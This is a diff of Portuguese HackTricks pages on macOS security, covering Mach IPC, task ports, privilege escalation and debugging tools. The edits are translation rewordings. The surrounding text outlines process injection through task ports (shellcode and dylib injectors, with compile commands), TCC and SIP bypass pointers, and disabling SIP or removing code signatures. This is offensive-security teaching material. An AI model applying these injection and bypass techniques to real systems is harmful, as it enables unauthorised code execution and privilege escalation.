@ -186,7 +186,7 @@ Normalmente, o **perfil de ativação** fornecido por um fornecedor de MDM inclu
- Ao receber, é tratado pelo **`mdmclient`**
- Para consultar comandos MDM, uma solicitação é enviada para ServerURL
- Faz uso do payload de MDM previamente instalado:
- **`ServerURLPinningCertificateUUIDs`** para fixação da solicitação
- **`ServerURLPinningCertificateUUIDs`** para fixar a solicitação
- **`IdentityCertificateUUID`** para o certificado de cliente TLS
## Ataques

27
src/macos-hardening/macos-security-and-privilege-escalation/README.md
View File

@ -1,4 +1,4 @@
# Segurança e Escalação de Privilégios no macOS
# macOS Segurança & Escalação de Privilégios
{{#include ../../banners/hacktricks-training.md}}
@ -6,7 +6,8 @@
Se você não está familiarizado com o macOS, deve começar aprendendo o básico do macOS:
- **Arquivos e permissões especiais do macOS:**
- **Arquivos & permissões especiais do macOS:**
{{#ref}}
macos-files-folders-and-binaries/
@ -14,23 +15,27 @@ macos-files-folders-and-binaries/
- **Usuários comuns do macOS**
{{#ref}}
macos-users.md
{{#endref}}
- **AppleFS**
{{#ref}}
macos-applefs.md
{{#endref}}
- A **arquitetura** do k**ernel**
{{#ref}}
mac-os-architecture/
{{#endref}}
- **Serviços e protocolos de rede comuns do macOS**
- **Serviços de rede & protocolos** comuns do macOS
{{#ref}}
macos-protocols.md
@ -43,18 +48,21 @@ macos-protocols.md
Em empresas, sistemas **macOS** provavelmente serão **gerenciados com um MDM**. Portanto, do ponto de vista de um atacante, é interessante saber **como isso funciona**:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspecionando, Depurando e Fuzzing
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## Proteções de Segurança do MacOS
{{#ref}}
macos-security-protections/
{{#endref}}
@ -67,22 +75,24 @@ Se um **processo executado como root escreve** um arquivo que pode ser controlad
Isso pode ocorrer nas seguintes situações:
- O arquivo usado já foi criado por um usuário (pertencente ao usuário)
- O arquivo usado é gravável pelo usuário devido a um grupo
- O arquivo usado é gravável pelo usuário por causa de um grupo
- O arquivo usado está dentro de um diretório pertencente ao usuário (o usuário poderia criar o arquivo)
- O arquivo usado está dentro de um diretório pertencente ao root, mas o usuário tem acesso de gravação sobre ele devido a um grupo (o usuário poderia criar o arquivo)
- O arquivo usado está dentro de um diretório pertencente ao root, mas o usuário tem acesso de gravação sobre ele por causa de um grupo (o usuário poderia criar o arquivo)
Ser capaz de **criar um arquivo** que será **usado pelo root** permite que um usuário **tire proveito de seu conteúdo** ou até mesmo crie **symlinks/hardlinks** para apontá-lo para outro lugar.
Para esse tipo de vulnerabilidades, não se esqueça de **verificar instaladores `.pkg` vulneráveis**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### Manipuladores de Aplicativos de Extensão de Arquivo e Esquema de URL
### Manipuladores de Aplicativos de Extensão de Arquivo & Esquema de URL
Aplicativos estranhos registrados por extensões de arquivo podem ser abusados e diferentes aplicativos podem ser registrados para abrir protocolos específicos
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
@ -97,10 +107,11 @@ Esses privilégios geralmente são concedidos na forma de **direitos** com os qu
Siga esses links para encontrar diferentes maneiras de [**escalar privilégios no TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**burlar o TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) e como no passado [**o SIP foi burlado**](macos-security-protections/macos-sip.md#sip-bypasses).
## Escalação Tradicional de Privilégios no macOS
## Escalação de Privilégios Tradicional do macOS
Claro, do ponto de vista de uma equipe vermelha, você também deve estar interessado em escalar para root. Confira o seguinte post para algumas dicas:
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
@ -111,7 +122,7 @@ macos-privilege-escalation.md
## Referências
- [**Resposta a Incidentes do OS X: Scripting e Análise**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)

8
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
View File

@ -12,7 +12,7 @@ Versão de código aberto do XNU: [https://opensource.apple.com/source/xnu/](htt
### Mach
Mach é um **microkernel** projetado para ser **compatível com UNIX**. Um de seus princípios de design chave era **minimizar** a quantidade de **código** executando no espaço do **núcleo** e, em vez disso, permitir que muitas funções típicas do núcleo, como sistema de arquivos, rede e I/O, **executem como tarefas de nível de usuário**.
Mach é um **microkernel** projetado para ser **compatível com UNIX**. Um de seus princípios de design chave foi **minimizar** a quantidade de **código** executando no espaço do **núcleo** e, em vez disso, permitir que muitas funções típicas do núcleo, como sistema de arquivos, rede e I/O, **executem como tarefas de nível de usuário**.
No XNU, Mach é **responsável por muitas das operações críticas de baixo nível** que um núcleo normalmente lida, como agendamento de processador, multitarefa e gerenciamento de memória virtual.
@ -27,9 +27,9 @@ O **núcleo** XNU também **incorpora** uma quantidade significativa de código
- Pilha TCP/IP e sockets
- Firewall e filtragem de pacotes
Entender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes frameworks conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto Mach opera com base em threads. Essa discrepância é reconciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada de sistema fork() do BSD é usada, o código BSD dentro do núcleo utiliza funções Mach para criar uma estrutura de tarefa e thread.
Entender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes frameworks conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto Mach opera com base em threads. Essa discrepância é reconciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada de sistema fork() do BSD é usada, o código BSD dentro do núcleo utiliza funções Mach para criar uma tarefa e uma estrutura de thread.
Além disso, **Mach e BSD mantêm diferentes modelos de segurança**: o modelo de segurança do **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base em **propriedade de processos**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios locais. Além das chamadas de sistema típicas, também existem **traps Mach que permitem que programas de espaço de usuário interajam com o núcleo**. Esses diferentes elementos juntos formam a arquitetura híbrida multifacetada do núcleo do macOS.
Além disso, **Mach e BSD mantêm modelos de segurança diferentes**: o modelo de segurança de **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base em **propriedade de processos**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios local. Além das chamadas de sistema típicas, também existem **traps Mach que permitem que programas de espaço de usuário interajam com o núcleo**. Esses diferentes elementos juntos formam a arquitetura híbrida multifacetada do núcleo do macOS.
### I/O Kit - Drivers
@ -47,7 +47,7 @@ macos-iokit.md
## macOS Kernel Extensions
O macOS é **super restritivo para carregar Extensões de Núcleo** (.kext) devido aos altos privilégios com que o código será executado. Na verdade, por padrão, é virtualmente impossível (a menos que um bypass seja encontrado).
macOS é **super restritivo para carregar Extensões de Núcleo** (.kext) devido aos altos privilégios com que o código será executado. Na verdade, por padrão, é virtualmente impossível (a menos que um bypass seja encontrado).
Na página seguinte, você também pode ver como recuperar o `.kext` que o macOS carrega dentro de seu **kernelcache**:

41
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View File

@ -8,9 +8,9 @@
Mach usa **tarefas** como a **menor unidade** para compartilhar recursos, e cada tarefa pode conter **múltiplas threads**. Essas **tarefas e threads são mapeadas 1:1 para processos e threads POSIX**.
A comunicação entre tarefas ocorre via Comunicação Inter-Processos Mach (IPC), utilizando canais de comunicação unidirecionais. **As mensagens são transferidas entre portas**, que atuam como **filas de mensagens** gerenciadas pelo kernel.
A comunicação entre tarefas ocorre via Comunicação Inter-Processos Mach (IPC), utilizando canais de comunicação unidirecionais. **Mensagens são transferidas entre portas**, que atuam como **filas de mensagens** gerenciadas pelo kernel.
Cada processo possui uma **tabela IPC**, onde é possível encontrar as **portas mach do processo**. O nome de uma porta mach é, na verdade, um número (um ponteiro para o objeto do kernel).
Cada processo tem uma **tabela IPC**, onde é possível encontrar as **portas mach do processo**. O nome de uma porta mach é, na verdade, um número (um ponteiro para o objeto do kernel).
Um processo também pode enviar um nome de porta com alguns direitos **para uma tarefa diferente** e o kernel fará com que essa entrada na **tabela IPC da outra tarefa** apareça.
@ -19,14 +19,14 @@ Um processo também pode enviar um nome de porta com alguns direitos **para uma
Os direitos de porta, que definem quais operações uma tarefa pode realizar, são fundamentais para essa comunicação. Os possíveis **direitos de porta** são ([definições daqui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um único consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (diferente de pipes, onde múltiplos processos podem manter descritores de arquivo para a extremidade de leitura de um pipe).
- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo que envie mensagens. Originalmente, apenas a **própria tarefa possui o Direito de Receber sobre sua porta**.
- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Enviar**, permitindo que envie mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
- **Direito de Enviar**, que permite enviar mensagens para a porta.
- O Direito de Enviar pode ser **clonado**, de modo que uma tarefa que possui um Direito de Enviar pode clonar o direito e **concedê-lo a uma terceira tarefa**.
- **Direito de Enviar uma vez**, que permite enviar uma mensagem para a porta e depois desaparece.
- **Direito de Conjunto de Portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para escutar várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
- **Direito de conjunto de portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para escutar várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
- **Nome morto**, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.
**As tarefas podem transferir direitos de ENVIO para outras**, permitindo que enviem mensagens de volta. **Os direitos de ENVIO também podem ser clonados, de modo que uma tarefa possa duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
**As tarefas podem transferir direitos de ENVIO para outras**, permitindo que enviem mensagens de volta. **Os direitos de ENVIO também podem ser clonados, então uma tarefa pode duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
### Portas de Arquivo
@ -45,19 +45,19 @@ Como mencionado, para estabelecer o canal de comunicação, o **servidor de inic
5. Ao adquirir um direito de ENVIAR, a Tarefa **B** é capaz de **formular** uma **mensagem** e enviá-la **para a Tarefa A**.
6. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um direito de **RECEBER** e um direito de **ENVIAR**, e concede o **direito de ENVIAR à Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **se passar por qualquer tarefa do sistema**, como falsamente **reivindicar um nome de serviço de autorização** e, em seguida, aprovar cada solicitação.
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **impersonar qualquer tarefa do sistema**, como falsamente **reivindicar um nome de serviço de autorização** e, em seguida, aprovar cada solicitação.
Então, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios **protegidos pelo SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Juntamente com cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização criará e manterá um **direito de RECEBER para cada um desses nomes de serviço**.
Para esses serviços predefinidos, o **processo de busca difere ligeiramente**. Quando um nome de serviço está sendo buscado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:
- A tarefa **B** inicia uma **busca** de inicialização por um nome de serviço.
- **launchd** verifica se a tarefa está em execução e, se não estiver, **inicia**.
- A tarefa **B** inicia uma **busca de inicialização** por um nome de serviço.
- O **launchd** verifica se a tarefa está em execução e, se não estiver, **inicia**.
- A tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIAR, retém-o e **transfere o direito de RECEBER para a Tarefa A**.
- O launchd duplica o **direito de ENVIAR e o envia para a Tarefa B**.
- A Tarefa **B** gera uma nova porta com um direito de **RECEBER** e um direito de **ENVIAR**, e dá o **direito de ENVIAR à Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
- A tarefa **B** gera uma nova porta com um direito de **RECEBER** e um direito de **ENVIAR**, e dá o **direito de ENVIAR à Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam como descrito originalmente, o que poderia potencialmente permitir a impersonificação.
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam como descrito originalmente, o que poderia potencialmente permitir a impersonação.
### Uma Mensagem Mach
@ -76,7 +76,7 @@ mach_msg_id_t msgh_id;
```
Processos que possuem um _**direito de recebimento**_ podem receber mensagens em uma porta Mach. Por outro lado, os **remetentes** recebem um _**direito de envio**_ ou um _**direito de envio-uma-vez**_. O direito de envio-uma-vez é exclusivamente para enviar uma única mensagem, após a qual se torna inválido.
Para alcançar uma fácil **comunicação bidirecional**, um processo pode especificar uma **porta mach** no **cabeçalho da mensagem** mach chamada de _porta de resposta_ (**`msgh_local_port`**) onde o **receptor** da mensagem pode **enviar uma resposta** a esta mensagem. Os bits em **`msgh_bits`** podem ser usados para **indicar** que um **direito de envio-uma-vez** deve ser derivado e transferido para esta porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Para alcançar uma fácil **comunicação bidirecional**, um processo pode especificar uma **porta mach** no **cabeçalho da mensagem** mach chamada de _porta de resposta_ (**`msgh_local_port`**) onde o **destinatário** da mensagem pode **enviar uma resposta** a esta mensagem. Os bits em **`msgh_bits`** podem ser usados para **indicar** que um **direito de envio-uma-vez** deve ser derivado e transferido para esta porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Note que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Mas **geralmente portas diferentes são criadas** como explicado anteriormente para criar a comunicação bidirecional.
@ -86,10 +86,10 @@ Os outros campos do cabeçalho da mensagem são:
- `msgh_size`: o tamanho de todo o pacote.
- `msgh_remote_port`: a porta na qual esta mensagem é enviada.
- `msgh_voucher_port`: [vouchers mach](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: o ID desta mensagem, que é interpretado pelo receptor.
- `msgh_id`: o ID desta mensagem, que é interpretado pelo destinatário.
> [!CAUTION]
> Note que **mensagens mach são enviadas através de uma \_porta mach**\_, que é um canal de comunicação **um único receptor**, **múltiplos remetentes** embutido no núcleo mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas a qualquer momento apenas **um único processo pode ler** dela.
> Note que **mensagens mach são enviadas através de uma \_porta mach**\_, que é um canal de comunicação **um único receptor**, **múltiplos remetentes** embutido no núcleo mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
### Enumerar portas
```bash
@ -230,7 +230,7 @@ printf("Sent a message\n");
- **Porta do host**: Se um processo tiver privilégio de **Enviar** sobre esta porta, ele pode obter **informações** sobre o **sistema** (por exemplo, `host_processor_info`).
- **Porta priv do host**: Um processo com direito de **Enviar** sobre esta porta pode realizar **ações privilegiadas** como carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
- Além disso, para chamar a API **`kext_request`**, é necessário ter outros direitos **`com.apple.private.kext*`** que são concedidos apenas a binários da Apple.
- **Porta do nome da tarefa:** Uma versão não privilegiada da _porta de tarefa_. Ela referencia a tarefa, mas não permite controlá-la. A única coisa que parece estar disponível através dela é `task_info()`.
- **Porta de nome da tarefa:** Uma versão não privilegiada da _porta de tarefa_. Ela referencia a tarefa, mas não permite controlá-la. A única coisa que parece estar disponível através dela é `task_info()`.
- **Porta de tarefa** (também conhecida como porta do kernel): Com permissão de Enviar sobre esta porta, é possível controlar a tarefa (ler/escrever memória, criar threads...).
- Chame `mach_task_self()` para **obter o nome** desta porta para a tarefa chamadora. Esta porta é apenas **herdada** através de **`exec()`**; uma nova tarefa criada com `fork()` recebe uma nova porta de tarefa (como um caso especial, uma tarefa também recebe uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de criar uma tarefa e obter sua porta é realizar a ["dança de troca de porta"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) enquanto faz um `fork()`.
- Estas são as restrições para acessar a porta (do `macos_task_policy` do binário `AppleMobileFileIntegrity`):
@ -242,6 +242,7 @@ printf("Sent a message\n");
Você pode pegar um shellcode de:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -498,15 +499,16 @@ return 0;
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Injeção de Dylib em thread via Porta de Tarefa
### Injeção de Dylib em thread via porta de Tarefa
No macOS, **threads** podem ser manipuladas via **Mach** ou usando a **api posix `pthread`**. A thread que geramos na injeção anterior foi gerada usando a api Mach, então **não é compatível com posix**.
Foi possível **injetar um shellcode simples** para executar um comando porque **não precisava trabalhar com apis** compatíveis com posix, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
Foi possível **injetar um shellcode simples** para executar um comando porque **não precisava funcionar com apis** compatíveis com posix, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`**, que irá **criar um pthread válido**. Então, esse novo pthread poderia **chamar dlopen** para **carregar um dylib** do sistema, assim, em vez de escrever um novo shellcode para realizar diferentes ações, é possível carregar bibliotecas personalizadas.
Você pode encontrar **dylibs de exemplo** em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):
Você pode encontrar **exemplos de dylibs** em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
@ -794,6 +796,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
Nesta técnica, um thread do processo é sequestrado:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
@ -802,10 +805,11 @@ Nesta técnica, um thread do processo é sequestrado:
### Informações Básicas
XPC, que significa XNU (o kernel usado pelo macOS) inter-Process Communication, é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método assíncronas e seguras entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o potencial de dano de um processo comprometido.
XPC, que significa XNU (o kernel usado pelo macOS) inter-Process Communication, é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método assíncronas e seguras entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o potencial de danos de um processo comprometido.
Para mais informações sobre como essa **comunicação funciona** e como ela **pode ser vulnerável**, consulte:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
@ -816,6 +820,7 @@ O MIG foi criado para **simplificar o processo de criação de código Mach IPC*
Para mais informações, consulte:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}

48
src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
View File

@ -92,7 +92,7 @@ Esta ferramenta permite **montar** imagens de disco da Apple (**.dmg**) para ins
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
Será montado em `/Volumes`
Ele será montado em `/Volumes`
### Binários empacotados
@ -123,7 +123,7 @@ Quando uma função é chamada em um binário que usa Objective-C, o código com
Os parâmetros que essa função espera são:
- O primeiro parâmetro (**self**) é "um ponteiro que aponta para a **instância da classe que deve receber a mensagem**". Ou, mais simplesmente, é o objeto sobre o qual o método está sendo invocado. Se o método for um método de classe, isso será uma instância do objeto da classe (como um todo), enquanto para um método de instância, self apontará para uma instância instanciada da classe como um objeto.
- O segundo parâmetro (**op**) é "o seletor do método que manipula a mensagem". Novamente, mais simplesmente, isso é apenas o **nome do método.**
- O segundo parâmetro, (**op**), é "o seletor do método que lida com a mensagem". Novamente, mais simplesmente, isso é apenas o **nome do método.**
- Os parâmetros restantes são quaisquer **valores que são necessários pelo método** (op).
Veja como **obter essas informações facilmente com `lldb` em ARM64** nesta página:
@ -144,7 +144,7 @@ x64:
| **6º argumento** | **r9** | **4º argumento para o método** |
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(na pilha)</strong></p> | **5º+ argumento para o método** |
### Despejar metadados de ObjectiveC
### Despejar metadados do ObjectiveC
### Dynadump
@ -177,9 +177,9 @@ print(metadata.to_decl())
```
## Análise estática de Swift
Com binários Swift, uma vez que há compatibilidade com Objective-C, às vezes você pode extrair declarações usando [class-dump](https://github.com/nygard/class-dump/), mas nem sempre.
Com binários Swift, uma vez que há compatibilidade com Objective-C, às vezes você pode extrair declarações usando [class-dump](https://github.com/nygard/class-dump/) mas nem sempre.
Com as linhas de comando **`jtool -l`** ou **`otool -l`** é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
Com os comandos **`jtool -l`** ou **`otool -l`** é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -191,7 +191,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
Você pode encontrar mais informações sobre o [**informações armazenadas nesta seção neste post do blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Você pode encontrar mais informações sobre as [**informações armazenadas nesta seção neste post do blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Além disso, **binários Swift podem ter símbolos** (por exemplo, bibliotecas precisam armazenar símbolos para que suas funções possam ser chamadas). Os **símbolos geralmente têm as informações sobre o nome da função** e atributos de uma maneira confusa, então eles são muito úteis e existem "**demanglers"** que podem obter o nome original:
```bash
@ -204,10 +204,10 @@ swift demangle
## Análise Dinâmica
> [!WARNING]
> Note que para depurar binários, **o SIP precisa estar desativado** (`csrutil disable` ou `csrutil enable --without debug`) ou copiar os binários para uma pasta temporária e **remover a assinatura** com `codesign --remove-signature <binary-path>` ou permitir a depuração do binário (você pode usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
> Note que para depurar binários, **o SIP precisa ser desativado** (`csrutil disable` ou `csrutil enable --without debug`) ou copiar os binários para uma pasta temporária e **remover a assinatura** com `codesign --remove-signature <binary-path>` ou permitir a depuração do binário (você pode usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
> [!WARNING]
> Note que para **instrumentar binários do sistema**, (como `cloudconfigurationd`) no macOS, **o SIP deve estar desativado** (apenas remover a assinatura não funcionará).
> Note que para **instrumentar binários do sistema**, (como `cloudconfigurationd`) no macOS, **o SIP deve ser desativado** (apenas remover a assinatura não funcionará).
### APIs
@ -264,7 +264,7 @@ No painel direito, você pode ver informações interessantes, como o **históri
Permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo mudarem seu fluxo de execução. Dtrace usa **probes** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema.
DTrace usa a função **`dtrace_probe_create`** para criar uma probe para cada chamada de sistema. Essas probes podem ser ativadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre através de /dev/dtrace, que está disponível apenas para o usuário root.
DTrace usa a função **`dtrace_probe_create`** para criar uma probe para cada chamada de sistema. Essas probes podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre através de /dev/dtrace, que está disponível apenas para o usuário root.
> [!TIP]
> Para habilitar o Dtrace sem desativar completamente a proteção SIP, você pode executar no modo de recuperação: `csrutil enable --without dtrace`
@ -290,8 +290,6 @@ Uma explicação mais detalhada e mais exemplos podem ser encontrados em [https:
#### Exemplos
Execute `man -k dtrace` para listar os **scripts DTrace disponíveis**. Exemplo: `sudo dtruss -n binary`
- Na linha
```bash
#Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
@ -345,7 +343,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
Ferramentas como `latency`, `sc_usage`, `fs_usage` e `trace` a utilizam internamente.
Para interagir com `kdebug`, usa-se `sysctl` sobre o namespace `kern.kdebug`, e os MIBs a serem utilizados podem ser encontrados em `sys/sysctl.h`, tendo as funções implementadas em `bsd/kern/kdebug.c`.
Para interagir com `kdebug`, usa-se `sysctl` sobre o namespace `kern.kdebug`, e os MIBs a serem utilizados podem ser encontrados em `sys/sysctl.h`, com as funções implementadas em `bsd/kern/kdebug.c`.
Para interagir com kdebug com um cliente personalizado, geralmente esses são os passos:
@ -426,7 +424,7 @@ No [**este post do blog**](https://knight.sc/debugging/2019/06/03/debugging-appl
### lldb
**lldb** é a ferramenta de **facto** para **depuração** de binários **macOS**.
**lldb** é a ferramenta de **fato** para **depuração** de binários no **macOS**.
```bash
lldb ./malware.bin
lldb -p 1122
@ -440,9 +438,9 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING]
> Dentro do lldb, despeje um processo com `process save-core`
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inicia a execução, que continuará sem interrupções até que um ponto de interrupção seja atingido ou o processo termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inicia a execução parando no ponto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua a execução do processo depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Executa a próxima instrução. Este comando irá pular chamadas de função.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.</td></tr><tr><td><strong>finish (f)</strong></td><td>Executa o restante das instruções na função atual (“frame”), retorna e para.</td></tr><tr><td><strong>control + c</strong></td><td>Pausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando atualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualquer função chamada main</p><p><code>b <binname>`main</code> #Função main do bin</p><p><code>b set -n main --shlib <lib_name></code> #Função main do bin indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualquer método NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompe em todas as funções daquela biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de breakpoints</p><p><code>br e/dis <num></code> #Habilitar/Desabilitar breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obter ajuda do comando breakpoint</p><p>help memory write #Obter ajuda para escrever na memória</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/endereço de memória></strong></td><td>Exibe a memória como uma string terminada em nulo.</td></tr><tr><td><strong>x/i <reg/endereço de memória></strong></td><td>Exibe a memória como instrução de assembly.</td></tr><tr><td><strong>x/b <reg/endereço de memória></strong></td><td>Exibe a memória como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Isso imprimirá o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Note que a maioria das APIs ou métodos Objective-C da Apple retornam objetos, e, portanto, devem ser exibidos via o 